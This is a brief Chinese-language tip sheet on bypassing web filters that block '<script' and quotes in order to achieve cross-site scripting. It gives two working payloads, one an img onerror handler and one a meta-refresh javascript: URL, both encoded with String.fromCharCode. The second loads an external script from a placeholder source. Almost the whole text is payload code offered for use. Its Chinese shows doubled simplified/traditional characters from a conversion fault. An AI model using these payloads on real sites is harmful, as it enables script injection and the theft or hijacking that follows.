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在網(wǎng)頁(yè)過濾了<script和單引號(hào)的情況下可以使用代碼
"><img src="" onerror="document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62)+String.fromCharCode(97)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(114)+String.fromCharCode(116)+String.fromCharCode(40)+String.fromCharCode(49)+String.fromCharCode(41)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))">
繞過,上面write中內(nèi)容輸出的結(jié)果是<script>alert(1)</script>

遇到過濾<script>無(wú)法調(diào)用js的時(shí)候也可以用類似的代碼突破
"><meta http-equiv="Refresh" content="0;url=javascript:document.write(String.fromCharCode(60)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(32)+String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+String.fromCharCode(61)+String.fromCharCode(120)+String.fromCharCode(120)+String.fromCharCode(120)+String.fromCharCode(62)+String.fromCharCode(60)+String.fromCharCode(47)+String.fromCharCode(115)+String.fromCharCode(99)+String.fromCharCode(114)+String.fromCharCode(105)+String.fromCharCode(112)+String.fromCharCode(116)+String.fromCharCode(62))>
上面代碼是跳轉(zhuǎn)url到j(luò)avascript:document.write("<script src=xxx></script>")
也就是調(diào)用js文件xxx